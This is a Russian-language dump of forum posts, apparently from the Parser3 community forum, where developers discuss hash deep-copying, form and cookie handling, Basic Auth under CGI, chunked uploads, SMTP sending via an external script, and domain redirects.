А стало быть: я могу получить:\
[code]\
<form action=\"server/?var1=value1\" method=\"POST\">\
<input type=\"text\" name=\"var2\" value=\"value2\" />\
</form>\
[/code]\
\
И var1 и var2 - упадуют и смешаются в $form,\
А я, например, хотел бы иметь принудительное расположение в теле POST'a\
а не в URI"
"81298","А только, например POST-ом, через форму.\
\
Таким образом, ну к примеру, я могузапретить прием конкретных параметров get-методом, т.е. в видимой части урла."
"81299","Это баг или фича?\
И в любом случае вопрос: как это победить? Это беда реально.\
\
[code]\
$a[\
   $.A[\
      $.A1[1]\
      $.A2[2]\
   ]\
]\
\
$b[^hash::create[$a]]\
\
$a.A.A1[3]\
\
b.A.A1 = $b.A.A1   \
#        ^^^ результат = 3! \
[/code]\
\
Как, так то?  \
Копию в одной плоскости (вложенности) только создает? \
В итоге я получаю новую копию, на те же ссылки на втором уровне?\
Обидно.\
\
Практическая надобность:\
 У меня есть вложенный хеш со значениями, которые я меняю\
 в какой-то момент я хочу сделать \"копию-слепок\", чтобы\
 потом иметь возможность откатить хеш обратно, до состояния копии\
 \
  и что мне делать, рекурсия? \
  А сериализации/десериализации полной объекта нет?"
"81300","Если вы считаете, что это некая защита от подмены — напрасно."
"81301","На самом деле делаю свою абстрактную обвязку управления HTTP-окружением, и среди прочих фич захотелось вставить и такую."
"81303","Конечно фича. Как раз рекурсивное копирование было бы странным, во всяком случае по умолчанию (в ключах же могут быть не только хеши, но и таблицы, объекты, etc).\
\
Да, рекурсия или сериализация через ^json:string[]."
"81306","Собственно код:\
\
\
[code]\
@Hash_DeepCopy[h]             ^rem{# собственно сам метод, вспом.метод понадобился в основном по причине магии с uid?}\
   ^if($h is \"hash\"){                             \
      $result[^_hashDeepCopy[$h;^hash::create[]]]  ^rem{# передаем во вспом.метод целевой хеш и объект пустой хеш  }\
   }{\
      ^throw[;Param must be hash]                  \
   }\
\
@_hashDeepCopy[h;info][uid;k;v;j]      ^rem{# следим за руками: $h-целевой хеш, $info-пустой хеш (место копирования) }\
   $uid[^reflection:uid[$h]]           ^rem{# получаем $uid целевого хеша, зачем? }\
   $result[$info.$uid]                 ^rem{# что это такое? у меня масса предположений, в частности что это выход из рекурсии, но не уверен в понимании всей затеи }\
   ^if(!$result){                      ^rem{# не знал, что неприсвоенный $result возвращает bool... }\
      $result[^hash::create[$h]]       ^rem{# задаем результат ответа: плоскую копию целевого хеша, если дальнейшее не исполнится }\
      $info.[$uid][$result]               ^rem{# создаем \"болванку\" $info.$uid-of-target[плоская_копия_целевого_хеша] }\
      $j[^reflection:method[$h;foreach]]  ^rem{# трикс какой-то... видимо позволяет обходить $._default ключи, в отличие от прямого foreach, опять же интересно почему }\
      ^j[k;v]{                            ^rem{# триксовый foreach k-ключ, v-значение }\
         ^if($v is hash){\
            $result.[$k][^_hashDeepCopy[$v;$info]] ^rem{# если $v это хеш, рекурсивно вызываем этот метод с параметрами $v-целевой хеш, $info - куда... тут сдаюсь пока }\
         }($v is int || $v is double){             ^rem{# если число, то просто присваивае }\
            $result.[$k]($v)\
         }($v is table){                           ^rem{# если таблица, копируем таблицу }\
            $result.[$k][^table::create[$v]]\
         }($v is date){                            ^rem{# если дата, копируем дату }\
            $result.[$k][^date::create[$v]]\
         }                                         ^rem{# is string почему-то нет }\
      }\
   }\
\
[/code]"
"81307","[quote]получаем $uid целевого хеша, зачем?[/quote]\
\
$h[^hash::create[]]\
$h.key[$h]\
\
Достаточно понятно или подробнее пояснить? :)"
"81311","Надо как-то избежать бесконечной рекурсии в случаях, подобных приведенному мной. Миша реализовал защиту таким образом. Если считать, что \"самовложенных\" хешей нет, то можно конечно проще сделать."
"81313","[quote]> не знал, что неприсвоенный $result возвращает bool...[/quote]\
\
Это проверка на пустой хеш.\
В данном контексте $result вернёт число ключей.\
\
http://www.parser.ru/docs/lang/hashclass.htm\
[quote]Хеш считается определенным (def), если он не пустой. Числовым значением хеша является число ключей (значение, возвращаемое методом ^хеш._count[]).[/quote]\
\
[quote]> трикс какой-то... видимо позволяет обходить $._default ключи, в отличие от прямого foreach, опять же интересно почему[/quote]\
\
Даже [url=http://www.parser.ru/docs/lang/reflectionmethod.htm]в документации пример про foreach[/url]."
"81315","info -- это плоский хэш, где ключ -- uid (уникальный идентификатор) хэша, значение -- сам хэш. изначально там ничего нет (пустой хэш)\
\
^rem{# получаем $uid целевого хеша, зачем? }\
чтобы запомнить тот факт, что мы этот хэш уже скопировали и не входить в его копирование в случае, если он-же присутствует рекурсивно в его дочерних объектах.\
\
^rem{# что это такое? у меня масса предположений, в частности что это выход из рекурсии, но не уверен в понимании всей затеи }\
\
если в info уже есть объект с таким uid -- просто возвращаем его в result и не входим в копирование.\
\
^rem{# трикс какой-то... видимо позволяет обходить $._default ключи, в отличие от прямого foreach, опять же интересно почему }\
\
если в хэше есть объект с ключём foreach, то написав ^hash.foreach мы обратимся к этому ключу, а не к методу. а нам нужен метод, чтобы перебрать все ключи. это единственный способ гарантированно получить метод и использовать его.\
\
^rem{# is string почему-то нет }\
потому, что все строки были скопированы инструкцией $result[^hash::create[$h]]."
"81316","Хочу просто помытарствовать чтобы знать как вообще с этим работать.\
\
Правильно я понимаю, начало подхода в простом виде:\
[code]\
^if(!def $env:Authorization){\
$response:status(401)\
$response:WWW-Authenticate[Basic realm=\"How about authorization?\"]\
}{\
# вроде как получили введенные логин/пароль\
\
\
}\
[/code]\
\
Но в общем $env:Authorization я поймать не смог\
может Parser3 оно недоступно, и остается на стороне Apache'a и я зря стараюсь?"
"81318","И не могу понять почему не отлавливается...\
\
Делаю вывод всех $env:fields \
но ничего нет на эту тему\
\
причем, если ввести логин/пароль, а во второй раз нажать Cancel\
то все равно я выводе $env:fields должен был бы что-то поймать,\
но нет... пусто\
\
думал модуль Апача надо прицепить/отцепить какой-то? \
но попробовал у шаред-хостера где все отработано давно под тысячи клиентов - тоже пусто\
\
пробую так:\
[code]\
@main[]\
\
$response:status(401)\
$response:WWW-Authenticate[Basic realm=\"Auth me\"]\
	\
^env:fields.foreach[field;value]{ \
   $field - $value \
}[<br />] \
\
[/code]\
\
Ввожу логин/пароль, жму ОК - разумеется появляется окно снова,\
жму Cancel - должен что-то увидеть по идее, но ничего\
\
Смотрю параллельно в WebDeveloper Chrom'a там в Response Headers\
числится передача Authotizaion: с base64 строкой"
"81319","http://httpd.apache.org/docs/2.2/howto/auth.html\
.htaccess + .htpasswd\
\
Вообще не понимаю откуда вы взяли код\
[code]$response:status(401)\
$response:WWW-Authenticate[Basic realm=\"Auth me\"][/code]"
"81320","[quote]может Parser3 оно недоступно, и остается на стороне Apache'a и я зря стараюсь?[/quote]\
\
Да, CGI приложениям этот заголовок не передается. Только имя пользователя,\
если он успешно авторизован веб-сервером. Некоторые обходят это так:\
\
RewriteRule .* - [E=REMOTE_USER:%{HTTP:Authorization}]\
\
Но в целом логичнее для Basic Auth пользоваться средствами веб-сервера."
"81321","Прочитал протокол обмена для Basic Authorization \
и хотел попробовать воспроизвести\
\
А я не хотел средствами Апача, я хотел нативно."
"81323","https://bitbucket.org/ovolchkov/parser3-pf/src/50c4f9445bfc876680828da87bc3b859b8a083fa/auth/pfAuthApache.p?at=pf\
https://bitbucket.org/ovolchkov/parser3-pf/src/50c4f9445bfc876680828da87bc3b859b8a083fa/auth/?at=pf"
"81324","Есть какая-то хорошая практика/общий подход?\
Безотносительно валидации.\
\
Т.е. именование, получение... годная абстракция?\
\
Например группировка переменных с перфиксом в один хеш, типа\
F.name, F.pass"
"81325","Парсер эти абстракции очень удобно агрегирует в объект form, которого более, чем достаточно для работы с формами.\
\
Я в PFе сделал обертку вокруг form, request и  env, чтобы было удобнее передавать один объект в обработчики — https://bitbucket.org/ovolchkov/parser3-pf/src/50c4f9445bfc876680828da87bc3b859b8a083fa/web/pfHTTPRequest.p?at=pf.\
\
Если нам надо делать массовые CRUD-опреации, то можно написать парочку простых классов-генераторов кода. Например, по описанию таблицы в базе данных мы строим класс для ОРМа, а по классу орма генерируем форму. https://bitbucket.org/ovolchkov/parser3-pf/src/50c4f9445bfc876680828da87bc3b859b8a083fa/sql/orm/service/?at=pf"
"81326","в общем, в PF много ответов на \"велосипедные\" вопросы, но без документации занятие не самое простое"
"81329","Он работает аналогично php когда добавляются name[id]. Удобно когда много табличных динамичных данных.\
А то раньше приходилось всякие костыли использовать с скрытыми input, в которых хранились id, а дальше добавлялись префиксами к названиями.\
\
\
[code]@CLASS\
serialForm\
\
@getData[][names]\
	$self.data[^hash::create[]]\
	$hBlackList[$.action[1]]\
	$oRegex[^regex::create[\\^[([^^\\^]]+)\\^]][g']]\
	^form:fields.foreach[field;value]{\
		^if(!def $hBlackList.$field){\
			^self.parseData[$field;$value]\
		}\
	}\
	$result[$self.data]\
	\
@parseData[field;value][t;h]\
$t[^field.match[$oRegex]]\
^if(def $t.prematch){\
	$h[^create[$self.data;$t.prematch]]\
	^t.menu{\
		^if(^t.line[] == $t){\
			$h.[$t.1][$value]\
		}{\
			$h[^create[$h;$t.1]]\
		}\
	}\
}{\
	$self.data.[$field][$value]\
}\
\
\
@create[h;k]\
^if(!($h.$k is \"hash\")){\
	$h.[$k][^hash::create[]]\
}\
$result[$h.$k]\
[/code]"
"81330","типа prefix.name - как бы сути не меняет, \
а парсить вроде быстрее (по крайней мере банальный сплит первого куска до первой точки = символный id, хоть цифры, хоть буквы)\
+ экономия одного символа на закрывающую скобочку\
\
а если ограничить кол-во символов до 3-4, то еще быстрее left-ом,"
"81331","Да тут быстро получается, регулярка компилируется один раз. Плюс тут изначально вложенность работает, удобно когда \
name[id][id2][z]=1\
превращается в \
[code]$.name[\
	$.id[\
		$.id2[\
			$.z[ 1 ]\
		]\
	]\
]\
[/code]"
"81333","Но можно и переделать под свои нужды. Ну делалось для совместимости с php ).  На стыке технологий и плагинов."
"81334","Требуется загружать большие данные на сервер, обрабатывать там их, и далее аплоадить на amazon s3, т.к. это панорамные фото, то размер одного архива может быть и 150мб, передавать их классическим способом не вариант, тем более не каждый сервер переварит такие значения.\
Есть очень хорошая наработка от mail.ru https://github.com/mailru/FileAPI\
У них есть встроенная поддержка всех прелестей загрузки данных. А для изображений вообще куча фишек.\
\
Так вот как правильно лучше собрать файл на сервере? Средствами парсера такое можно сделать или лучше сделать какой-то враппер sh|bat который бы просто дописывал бы данные в через ecno -n \"\" >>"
"81335","file -s /dev/dm-1\
/dev/dm-1: SGI XFS filesystem data (blksz 4096, inosz 256, v2 dirs)\
\
$listCat[^file:list[/_files/standarts/;$.stat(true)]]\
$list[^listCat.select($listCat.dir==1)]\
\
не находит каталоги названные русскими буквами."
"81336","на другой файловой системе работает правильно."
"81337","Например\
\
[code]\
\
@CLASS\
MyClass\
\
@method[]\
$cookie[myobj]\
\
# вот так же не работает, а как тогда?\
$MAIN:cookie:field[value] \
\
[/code]"
"81338","Возможно хочет установки LOCALE? Достаточно XFS, чтобы повторить проблему? В какой кодировке имена файлов? В общем нужен или bug.html (например создать директории тем же парсером - будут находиться?), или больше информации."
"81339","Делал бы так (проверил, работает):\
\
cat.sh:\
\
[code]#!/bin/sh\
cat >>cat.result\
[/code]\
\
И далее\
$f - бинарный файл\
[code]^file::exec[cat.sh; $.stdin[$f]]\
[/code]\
\
Правда это только если чанки последовательно приходят. :)\
Иначе таки надо их все сохранять на диск, и в правильном порядке объединять, опять же через cat \"$@\" >cat.result."
"81340","@main[]\
$listCat[^file:list[/;$.stat(true)]]\
$list[^listCat.select($listCat.dir==0)]\
^list.menu{$list.name}[<br/>]\
\
Выводит всё в перемешку и папки, и файлы\
А $list[^listCat.select($listCat.dir==1)] не находит ничего.\
Думаю все же проблема в файловой системе."
"81342","Да по идеи они последовательно должны идти, тут же в JS порядок формируется.\
Спасибо с cat и stdin более правильное решение."
"81343","Не скажите, список файлов получается через readdir, а dir (если не HAVE_STRUCT_DIRENT_D_TYPE) и прочие аттрибуты - через отдельный вызов stat для каждого файла.\
Проверьте остальные аттрибуты (размер/даты) - если там тоже все плохо, то значит не срабатывает stat и дело таки как-то связано с кодировками..."
"81344","[quote]Да по идеи они последовательно должны идти, тут же в JS порядок формируется.[/quote]\
\
Ну вдруг он их параллельно на сервер отправляет для скорости. :)"
"81345","я пробовал на файлах и каталогах, в именах которых только латиница без пробелов и т.п.\
\
[code]$listCat[^file:list[/;$.stat(true)]]\
$list[^listCat.select($listCat.dir==0)]\
^list.menu{$list.name,$list.size, $list.cdate, $list.mdate и $list.adate }[<br/>]\
[/code]\
\
вот что выдает\
_files,84, 1435314201, 1429816892 и 1435314463\
invoice,23, 1435314201, 1420559210 и 1435314201\
auto.p,3524, 1435314201, 1424367477 и 1435314438\
.htaccess,692, 1435314201, 1421146065 и 1435314412\
standarts,43, 1435314201, 1421145739 и 1435314526\
index.htm,45398, 1435314201, 1433092613 и 1435314412"
"81346","Что с латиницей работает, вы уже сказали. Вопрос, какой результат будет в случае кириллических директорий/файлов."
"81347","все файлы и директории считает dir==0\
а dir==1 ничего не находит :(("
"81350","Здравствуйте, уважаемые!\
\
Весь мозк сломал, весь форум облазил. Но... \
корневой auto.p\
@auto[] \
$CLASS_PATH[^table::create{path\
/classes\
}]\
\
\
\
^use[MySql.p]\
^use[dtf.p]\
^use[lib.p]\
^use[news.p]\
\
$SQL.connect-string[mysql://root@localhost/belocarsk]\
$pSQL[^MySql::create[$SQL.connect-string;\
	$.sCacheDir[/../data/sql_cache]\
]]\
\
@main[]\
^header[] \
^body[]\
^footer[]\
\
Выдает ошибку:\
if\
\
native method of MAIN (MAIN) accepts maximum 3 parameter(s) (5 present)\
Z:/home/belocarsk.ru/www/classes/Sql.p(327:2)\
_getFileSpec	Z:/home/belocarsk.ru/www/classes/Sql.p(253:18)\
_sql	Z:/home/belocarsk.ru/www/classes/Sql.p(134:7)\
\
Все перепроверил, все присоеденено.\
\
Научите, куда копать.\
Знаю, тема заезженая, ну не получается у меня решить траблу."
"81351","См. «спецсимволы», в частности на точку с запятой."
"81352","А вы видите в моем коде где у меня не правильно?"
"81353","Но раз ругается на количество параметров, значит где-то не экранированы точки с запятой."
"81354","Так и я не вижу!\
Про экранировать я понял. Но как понять, где собака зарыта?\
Что посоветуете? Как вычислить?"
"81355","[quote]Следующие символы являются служебными: \
\
^   $   ;   @ \
(   ) \
[   ] \
{   } \
\"   :   #    \
\
Чтобы отменить специальное действие этих символов, их необходимо предварять символом ^. Например, для получения в тексте символа $ нужно записать ^$.[/quote]"
"81356","Да-да, я читал все это.\
Вот застрял я на этих двух строчках. \
Может глаз за мылился, может опыта не хватает. Продвинутся не могу.\
Если Вам не трудно, укажите на баг?"
"81357","Ошибка не в том коде, который вы показываете.\
\
Ищите неэкранированную точку с запятой.\
Например в методах\
^header[] \
^body[]\
^footer[]\
."
"81358","Всё, вы, как всегда правы. Нашел.\
Спасибо!!!!!"
"81359","[code]\
@main[]\
\
$obj[^myclass::create[]]\
^obj.mymethod[]\
\
\
@CLASS\
myclass\
\
@OPTIONS\
dynamic\
\
@mymethod[]\
# именно тут вываливаемся в unhandled exeption: element can not be stored to void \
# если каментим эту строку ниже, то всё хорошо\
$MAIN:cookie.test[test] \
[/code]\
\
P.S.: PARSER_VERSION = 3.4.3 (compiled on i686-pc-linux-gnu)"
"81361","Дело в том, что я пишу код методов класса заранее, и не надеясь на однозначный доступ к глобальному окружению по короткому имени в будущем. \
\
Это возникло в результате того, что однажды я словил проблему доступа к переменной, находящейся в auto.p (MAIN) из класса, при этом она не была перекрыта, и помогло \"каноническое обращение\",\
$MAIN:glob_var \
\
После этого случая, я стараюсь более прилежно обращаться с видимостью, поэтому\
\
к переменным внутри класса, я всегда обращаюсь, как $self.VarObj\
\
локальные переменные в рамках всего класса для обращения извне - изолировать в Parser'e нельзя, поэтому\
я просто делаю _var чтобы случайно не наступить не туда.\
\
тоже касается и локальных внутри методов\
\
Я не говорю, что это проблема, и использовать одноименные переменные с названиями встроенных классов, но когда ожидаешь\
как бы единообразности хотя бы на уровне синтаксиса вызовов, а \
тут сплошная магия.\
\
Просто вопрос: \
\
Почему $MAIN:obj.field[value] <- работает \
\
а $MAIN:obj:field[value] <- не работает только потому, что исторически так сложилось и синтаксис так не умеет?"
"81362","Есть ли возможность задать имя SMTP сервера, а также логин и пароль для авторизации?\
\
помнится чтото вроде\
[code]\
$MAIL[\
	$.SMTP[smtp.server]\
][/code]\
\
но возможно это глюки памяти"
"81363","[code]$[MAIN:cookie:test][value]\
$[MAIN:cookie:test][/code]"
"81364","auto.p (conf)\
\
[code]\
$MAIL[ \
   $.SMTP[mail.office.design.ru] \
] \
[/code]\
\
\
Думаю, что это все равно ничего не даст, т.к. это самостоятельный клиент, а вызов стандартного прописанного в sendmail с параметрами отправки.\
\
Проще, наверное, использовать какой-то вызов внешнего скрипта с передачей ему параметров (почтового клиента), если надо отправлять через внешний почтовый сервер."
"81365","ну, да, с сервером - понятно.\
\
а вот как быть с логином и паролем?\
ну и у паролей же есть методы plain, SASL и тд..."
"81366","Если сервер свой, то можно видимо настроить переадресацию в штатном почтовом сервере, а если по-простому, то я бы какой-то консольный клиент подобрал, и вызывал бы его парсером с передачей ему параметров (от логина в SMTP до письма)\
\
Тем более, что если организовывать робота - с автоответами, то и подавно потребуется забор почты, а sendmail, он по назначению для 'send' 'mail'"
"81367","[quote]Есть ли возможность задать имя SMTP сервера[/quote] \
\
Да, именно так как у вас написано.\
\
[quote]а также логин и пароль для авторизации?[/quote]\
\
Нет. Авторизация не поддерживается, поскольку она почти всегда используется совместно с шифрованием, а шифрование поддержать еще проблематичнее. :)"
"81368","How to: \
 https://debian.pro/1128\
 http://rat.admin.lv/?p=159\
\
Только он говорят медленный (до 2-4 сек) на письмо, а это подвесит ваш скрипт, поэтому лучше складировать письма куда-то в очередь (в виде файлов например), а потом кроном или чем-то еще забирать и отправлять."
"81370","Здравствуйте! Как на Парсере реализовать аналог PHP'шной функции microtime()? Или быть может уже и так есть подобный метод, но я его не заметил в документации?\
А вообще мне нужно получить юниксовое время с точностью до миллисекунд."
"81372","[code]\
\
$microtime[${status:rusage.tv_sec}.${status:rusage.tv_usec}]\
\
$microtime\
\
# выведет что-то типа: 1435493037.14476\
\
[/code]"
"81373","насколько я понял для ssmtp надо заранее прописать логин и пароль, а тут ситуация следующая:\
\
есть корпоративная БД с документацией  по большим партиям груза (структурированное дерево партий + стандартизированное описание грузов + вариативное кол-во сопровождающих скан-доков как к партии так и к конкретному грузу) интерфейс к ней сделан на parserе доступ как с локалки (больше возможностей редакта) так и через Инет;\
есть корпоративный smtp сервер с авторизацией (у каждого сотрудника свой логин/пароль синхр с АД) доступ только с локалки. \
\
Хочется чтобы сотрудник отправлял агенту/экспедитору информацию по части груза одной кнопкой :) т.е. один раз каждый прописывает свой логин пароль в параметрах и отправка идет через корпоротивный сервер с использованием логина пароля сотрудника.\
\
===\
а есть ли чтото наподобие , но чтобы можно было в параметрах указать smtp.server, smtp.auth, attaches, messagebody ?\
ну, или как вариант messagebody подготавливается parserом (сопроводительный текст, uue attaches) но в параметрах smtp.server и smtp.auth ?"
"81374","Там еще ссылки на какой-то exim (вроде как быстрее)\
\
https://www.zagirov.name/exim-pdd-yandex-ru/"
"81375","[code]\
\
# ^if($bool(true)){ TRUE }{ FALSE }  или\
# $b($bool(true))  => syntax error, unexpected '(', expecting EON\
 \
$b[$bool(true)]\
^if($b){ TRUE }{ FALSE }   ^rem{# получаем FALSE }\
\
# ^if(^eval($b){ TRUE }{ FALSE }... need expression (parameter #1)\
\
[/code]"
"81376","[code]$b($bool(true))\
$b[$bool(true)][/code]\
\
Что вы хотите сказать этими конструкциями?"
"81377","(для памяти положу сюда)\
\
0) http://caspian.dotconf.net/menu/Software/SendEmail/\
1) внешний скрипт отправки\
[code]#!/bin/sh\
\
MAILTO=\"$1\"\
SUBJECT=\"$2\"\
BODY=\"$3\"\
FROM=\"CRLP system\"\
\
SMTP_SERVER=smtp.localdomain\
SMTP_LOGIN=\"$4\"\
SMTP_PASSWORD=\"$5\"\
\
/usr/bin/sendEmail -f \"$FROM\" -t \"$MAILTO\" -u \"$SUBJECT\" -m \"$BODY\" -o message-charset=UTF8 -s $SMTP_SERVER:25 -xu $SMTP_LOGIN -xp $SMTP_PASSWORD[/code]"
"81381","Допустим хочу удалить ряд символов\
в таблице подстановке второй столбец пустой\
\
[code]\
$str[A\
C\
B]\
\
$tab[^table::create{from	to\
C\
^#0D\
}\
\
$str[^str.replace[$tab]]\
\
<pre>\
^untaint{\
  $str\
}\
</pre>\
\
# Результат:\
# A\
#   \
# B\
#\
\
# но если добавим ручками, то CRLF-символ удалится конечно\
\
$str[^str.replace[^#0D;]]\
\
\
[/code]\
\
\
Я понимаю, что CRLF он работает для сл.строки таблицы\
но он же задан через литерал, а не как часть синтаксиса Parser3"
"81384","Пришедшие извне символы в $str грязные.\
И нужно либо им сделать untaint, что небезопасно, либо замарать заменяемый символ."
"81387","Как вы проверяете, что замена не работает?\
\
Замена ^#0A — работает."
"81388","taint не имеет отношения к \"извне\".\
он обычно нужен, если программист хочет, чтобы символы, написанные в коде, трактовались не как \"чистые\" (as-is), а как-то иначе.\
\
ваш случай -- это как раз и есть место для taint, т.к. в противном случае символы перевода строки (^#0A, ^#0D) будут восприняты как окончания строк создаваемой таблицы.\
по одному символу работает, т.к. вы не создаёте таблицу (enter-tab-delimited), где эти символы имеют иное значение."
"81389","Так что лучше все таки сделать хранение кусочков и потом сборку +)"
"81390","Вы вот эту свою таблицу:\
\
[code]$tab[^table::create{from	to\
C\
^#0D\
}[/code]\
\
аналогично можете создать вот так:\
\
[code]$tab[^table::create{from^#09to^#0AC^#09^#0A^#0D^#09^#0A}[/code]\
\
и как тут парсеру отличить что есть литерал, а что разметка создаваемой таблицы?"
"81392","Проблему подтверждаю. У нас в коде считалось, что если HAVE_STRUCT_DIRENT_D_TYPE, то можно им пользоваться, но в данном случае это не так (для XFS там DT_UNKNOWN). Исправлено в HEAD, завтра утром будет в ночных сборках."
"81395","Что ФС не умирает с таким каталогом.\
Неоднократно наблюдал суровые тормоза при десятке тысяч файлов в директории.\
\
Разложить по ограниченному количеству директорий самое простое."
"81396","Добрый день.\
Данные в XML и шаблоны на XSLT — это конечно хорошо, но всё большую популярность набирает серверный JavaScript. Одно из основных его преимуществ — возможность держать данные в JSON, а для их представления использовать один и тот же код как на сервере, так и на фронтенде.\
\
В связи с этим вопросы:\
Существует ли возможность прикрутить к Парсеру V8 JavaScript engine? Предпринимал ли уже кто-нибудь такие попытки?\
Есть ли в планах разработчиков такая интеграция?"
"81398","Данные лучше хранить в СУБД, а не в xml и json. :)"
"81399","Я не предлагал хранить — там написано \"держать\")\
Если угодно, пусть будет \"передавать\"."
"81400","Решительно перейти на Node.js я пока не готов.\
Однако, хочется избавиться от двойной работы — одни и те же данные не гонять в XML и JSON и не обрабатывать их XSLT (на сервере) и JS (на клиенте)."
"81402","Судя по всему, вам нужен не только limit, но и offset, а тогда это будет квадрат от числа файлов в директории (пропускать лишнее придется перебором), если вызывать в цикле, что не вариант для миллиона файлов. Придумывается разве что вариант с передачей кода, который будет вызываться на каждый файл в директории."
"81403","конкретно в моем случае offset вообще не нужен, т.к. я беру n-файлов и удаляю, беру следующие n-файлов и т.д.\
\
но на небольших списках файлов для оффсет действительно мог бы пригодится, как замена file::list + table::copy"
"81404","Как правильно декодировать %D0%9E%D1%81%D1% в правильный вид?\
PS данные получаю из ^env:HTTP_ заголовков"
"81405","[url=\"http://www.parser.ru/forum/?id=35108\"]http://www.parser.ru/forum/?id=35108[/url]\
\
Можно чуть лучше:\
[code]$urldecode[^table::create[nameless]{}]\
^for[char](32;255){\
	$char[^char.format[%X]]\
	^urldecode.append{%$char	^process{^^#$char}}\
}\
…\
^encoded.replace[$urldecode][/code]\
\
Но с юникодом придётся повозиться."
"81406","https://dl.dropboxusercontent.com/u/12466727/bug-xhr-chunk-exec.tgz\
получается падает именно в момент exec если его закоментировать то все ок. Падает с строкой в логах Premature end of script headers: parser3.cgi"
"81407","В обоих случаях идет untain или process, мне кажется replace будет быстрее"
"81408","Кажется это Punycode называется\
\
Если ^string.js-escape - есть\
\
то должен быть и ^string.punycode-escape"
"81410","Поэтому я инстинктивно остался на windows-1251 чему несказанно рад...\
\
лучше я пока помучаюсь ручками с неразрывными пробелами и тирешками\
и посижу в теплой ламповой, однобайтной кодировке"
"81411","Я пока не видел в url утф кодирование ).\
Обычно оно и так приходит в прямом виде который не надо декодировать.\
Смысл в том, что я делаю загрузку файлов аяксом, а название файла идет в HTTP заголовке. Можно конечно забить на это дело принимать как есть в TMP а потом после удачной загрузки отправлять последней запрос уже в GET параметрами в которые вложить все данные. В общем вокруг одни костыли("
"81412","http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/src/classes/string.C?r1=1.214&r2=1.215\
http://www.parser.ru/forum/?id=81185"
"81414","Хотел сделать, чтобы при обращении к алиасу, принудительно перебрасывало на канонический домен.\
\
[b]Варианта 2:[/b]\
1) www.domain -> domain\
2) domain -> www.domain\
какой выбрать не решил (у гугла 1-ый, у хабра 2-ой например)\
\
Но не в этом даже суть. А вот в чем.\
\
www - субдомен, а стало быть, если я поставил куки без явного указания домена, то по-умолчанию (последний хром), ставит ее жестко на домен, и после переброса (или даже без переброса в случае с alias) - если я вернусь с www.domain на domain - то не получу ту же сессионную куку. Читал, что старые браузеры типа (IE6) и новые неодинаково поступают с моментом шаринга куки для субдоменов, по-умолчанию.\
\
Шарить сразу на все поддомены кукис, указывая .domain - как то паранойя включается, да и вдруг появятся какие-то суб-доменные сервисы, с кодом и 3-х лиц, а куки расшарены - читай не хочу.\
\
Таким, образом, можно ставить \"жестко\" на один домен и с ним работать. А при обращении к алиасу - перенаправлять на основной.\
\
Но вот тут возникает тоже момент.\
\
Допустим, я хочу перекидывать с www.domain -> domain\
\
Если делать это через\
[code]\
$response:location[http://domain]\
[/code]\
с указанием полного урла, то домен в адресной строке меняется\
(что говорит мне что это не внутренний редирект)\
\
Видимо, сервер отдает короткий заголовок, \
Status(3xx) там какой-то (интересно какой, кстати)\
и новый Location:\
\
Но кукис на новом месте я не получаю! Пока не нажму F5 или по какой-то ссылке.\
(UPD: гоню это Chrome Dev Tool - подвёл, и не отбражает во вкладке Resources/Cookies, после такого редиректа, пока не обновишь. \
Все приходит, парсер показывает куки, но исправлять не стал, т.к.\
вопрос актуален: могут ли быть какие-то грабли на этот счет?\
\
И что в сущности делает Parser (что посылает) если использовать response:location \
\
\
Если я делаю\
[code]\
$response:refresh[\
  $.url[http://domain]\
  $.value(0)\
]\
[/code]\
\
то, конечно, пользователь честно обновляет страницу со всеми заголовками.\
\
Но в чем тогда отличие HTTP-механики, в обоих случаях,\
в применении к новому назначения после редиректа?\
\
А что если это будут прямые ссылки с других доменов на картинки или файлы?\
\
Если 301, то они автоматически переварятся и все пройдет \"прозрачно\", а проглатываются ли refresh-ы ?\
\
То есть, \
[code] <a href=\"www.domain/pic.jpg\">картинка</a> [/code]\
\
в случае с response:location - точно отработается, \
а в случае с refresh? можно ли ожидать грабли?\
\
В общем, хочу совета как лучше всего поступить, чтобы перестать беспокоиться и начать редиректить :)"
"81415","Таким образом канонический домен будет установлен до выполнения CGI-приложений."
"81416","Вообще прочитал, что Google советует делать 301 редирект на канонический домен.\
\
Может подскажите тогда годный Rule для Rewrite \
в случае если мне надо с www.domain \
бросать на domain\
\
А то я боюсь поломать то, что уже есть\
Я не дока в Rewrite Rules..\
\
Сейчас у меня стоит:\
\
  RewriteEngine On\
  RewriteBase /\
  RewriteCond %{REQUEST_FILENAME} !-f\
  RewriteRule ^(.*)$ /_start.html [QSA,L]"
"81417","Есть моменты, когда надо сделать редирект оттолкнувшись от текущего url (т.е. данные пришли из $request:uri),\
\
Если ничего не трогать, то url будет \"жестко\" заэксейплен,\
причем (несмотря на документацию, символ (\") будет тоже преобразован в %22, а не оставлен, как там сказано)\
\
[b]Причина 1:[/b] иногда хочется оставить \"красивый\" урл после редиректа\
[b]Причина 2:[/b] редирект на внешний, абсолютный урл, в принципе не работает без такого\
\
И ничего умнее я не придумал, потому, что если не сделать так:\
[code]\
$url[http://${env:HTTP_HOST}]\
$response:location[^taint[as-is][$url]]\
[/code]\
\
То мы получим вместо 30X-ого редиректа на внешний абсолютный урл,\
внутренний редирект на что-то типа:\
\
http://domain/http%3A//domain\
\
т.к. $url испачкается об $env:HTTP_HOST (если я хоть немного понял taint-измы и механику его работы у Parser'a)\
\
Ну и с сохранением введенного пользователь \"красивого\" урла,\
\
Например: при http://domain/Page_A/Tag1+Tag2\
тоже будет проблема, символ + заэкспейпится\
\
С одной стороны кажется, что манипуляции с as-is небезопасны,\
но с практической, я пока не вижу потенциальной инъекции, \
если я никуда кроме location не вставляю такой код.\
\
А значит, я передаю небезопасные символы, только заголовку ответа\
для браузера, что тоже самое, что вбить любую абракадабру в адресной строке (или я ошибаюсь)?\
\
Чем не устроил refresh - тем, что он отдает тело всей страницы, прежде чем сделает перенаправление. \
\
30X-редирект, значительно быстрее, что видно не вооруженным глазом, даже на localhost"
"81419","Либо адрес вбит программистом в код и чист, либо приходит извне и нуждается в очистке."
"81422","Chrome Dev tool - не подходит, \
потому что он во-первых, не кажет ресурсы/куки сразу после редиректа\
хотя фактически обмен ими был на странице куда средиректило.\
\
А во-вторых, хотелсь бы смотреть HTTP-дамп всей цепочки, если \
там было несколько редиректов и посмотреть все статусы, заголовки.\
\
[i]UPD: забыл про старый добрый wget, который отлично бы подошёл, \
но что-то он не умеет ходить по Refresh-редиректам, или я ключи не подобрал...[/i]"
"81424","И в Chrome Developer Tools и в Firebug'е есть настройка сохранения лога при переходе по страницам.\
\
Насчёт отсутствия cookies — не верю, посмотрите на заголовки ответа."
"81427","Пока сделал так, но осадок остался )\
